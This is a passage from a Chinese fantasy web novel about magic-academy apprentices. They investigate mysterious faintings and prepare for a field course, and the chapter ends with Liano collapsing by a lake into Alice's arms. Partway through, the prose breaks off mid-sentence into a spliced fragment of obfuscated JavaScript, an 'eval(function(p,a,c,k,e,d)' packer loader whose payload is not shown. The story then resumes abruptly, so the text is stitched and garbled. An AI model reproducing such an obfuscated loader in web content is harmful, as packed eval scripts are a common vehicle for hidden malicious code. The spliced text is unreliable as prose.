比起令人激动的传说中的秘辛,学徒的安危在他这里要重要得多,这是他身为大领主之子的责任。 奥斯丁副院长早已在学院开启当天声明了她的置身事外,似乎是在她的要求下,学院的其他教授们也不常插手学徒在课程之外的状况,所以他们的调查只能全部依靠自己搜集的资料。 可是,有关学徒无故晕倒的事件,在所有的资料中都没有出现。 即使翻阅了所有古早文献的边边角角,甚至仔细研究了历代学徒随手记下的潦草笔记,也并未见得诸如此类的线索。 在他们调查过程中,仍不时会发生学徒晕倒的事件,数量不多,在结伴而行时似乎更少,但这些线索仍不足以得出太多有价值的结论。 但这学期已没有太多空余时间,奥斯维德只好宣布调查暂时告一段落,叮嘱所有学徒保持结伴行动,如有情况及时汇报。 “爱丽丝,准备走吗?” 收拾资料准备离开阅览室时,伊莎贝拉发现爱丽丝正捧着手中的资料走神。 她早已习惯了爱丽丝在看书时出神,于是唤她一声。 “啊,嗯!这就来!” 爱丽丝也合上了手中的资料,将其妥帖地放置在提供了“历代大魔法师为学院留下力量”这一线索的众多文献之中。 她与伊莎贝拉一起收拾好桌面上剩余的资料,又与仍要进行收尾工作的奥斯维德道了别,和其他结伴回到宿舍的学徒们一同离开了阅览室。 “明天的准备怎么样了,爱丽丝?” 秋风已经逐渐泛起凉意,伊莎贝拉拢了拢外衣随口问道。 爱丽丝一听到这个提问,顿时眼睛都亮了。 “非常完美!” 她立刻开始细数她为明天所准备的装备,“厚实的外衣,饮水的容器,还有火柴、毛毯、坩埚、盐和糖……” “……?” 伊莎贝拉刚开始还在相当认同地点头,后来却越听越迷糊。 怎么连坩埚和调料都冒出来了……她真的不是去野炊的吗? 事实上,明天即将开始的是秋季的特殊课程野外探索。 在春季的理论研讨和夏季的自制魔法之后,学徒们终于迎来了真正的实战环节。 在学院划定的范围内,他们需要靠自己的知识和魔力进行最基本的生存,同时完成所领取的任务。 任务并不困难,但综合运用魔力应对可能的突发状况则是一个挑战,不论是拥有哪一种魔法属性的学徒,都需要在此过程中找到属于自己的解决问题的办法。 “伊莎贝拉果然选择了狩猎任务吗?” “当然。”她的话语里藏着来自罗斯戴尔领地的隐隐自豪感,“所以我准备开始后直接从山道登上高处。你是探索任务吗?准备先去哪里?” “嗯,元素生灵的探索任务。我大概会先去……” 同时拥有四个元素的属性,其实去探索任意一种元素生灵都符合任务要求,但爱丽丝还是认真地思索了片刻给出回答。 “我大概会先去湖边吧。” * 咬牙忍过铺天盖地的晕眩,利亚诺喘了口气,继续强行迈动沉重的双腿。 身体虚浮得厉害,几乎是在极限的边缘支撑。 满身的伤口虽然用冰晶草的药剂压制住了魔药的效果,却依然迟迟不愿意愈合,每一次与衣料的轻微剐蹭都引起他无法克制的颤抖。 他熬着这些继续迈步。 课业的进度远低于他的预期。 元素的认可暂且不谈,昨夜看时,吊坠凭证中间代表课程学业部分的细沙只被填满大半。 他已经尽可能地在时间表中塞入最多的课程量,但哪怕是不眠不休,他也不可能同时出现在两节同一时间进行的课程上。 狠心给自己压上了太多的课程,繁重的课业让他几乎好几夜都没合眼。 但没事,这样反倒更好,因为他没有任何一次睡眠不会坠入充斥着黑暗和痛苦的噩梦。 虽然在他清醒时,那些噩梦依旧在身后穷追不舍…… 冷汗已经浸透衣料,利亚诺浑浑噩噩地向着某个方向前进,脑中却仍在不停地计算。 不行……还远远不够…… 还要再快一点……否则就要来不及了…… 靠近湖面,他停下早已疲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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那样美丽的、仿佛奉献了全部虔诚的魔法,可是爱丽丝看的出来,利亚诺指尖的颤抖比之前的所有时候都要多…… 有一段时间,湖边的水元素沉默着没有给出任何回应,他却仍在颤抖中无言地坚持着。 爱丽丝担忧地抿紧了嘴唇,克制着躁动的心跳,等到湖面终于泛起点点光亮时,她几乎想要欢呼雀跃。 可是刚准备放下心,眼前那个身影却突然往下一坠—— “利亚诺!” 爱丽丝再也忍不住飞奔而去,赶在他彻底失去意识倒向地面之前搂住了他。 她知道利亚诺也许并不安好,因为不论是否与她接近,特里迪克和格罗姆康特家族都有太多的理由和手段折磨他。 但是当她真的重新靠近他,真的将他搂在怀里,爱丽丝才发现—— 他真的已经要崩溃了。 “不要……不要……” 利亚诺单薄的躯体在她怀里无自觉地颤抖,苍白到毫无血色的嘴唇间溢出破碎的呓语。 他在昏迷中露出痛苦的神色,好像陷入了久远的、泥沼般的回忆。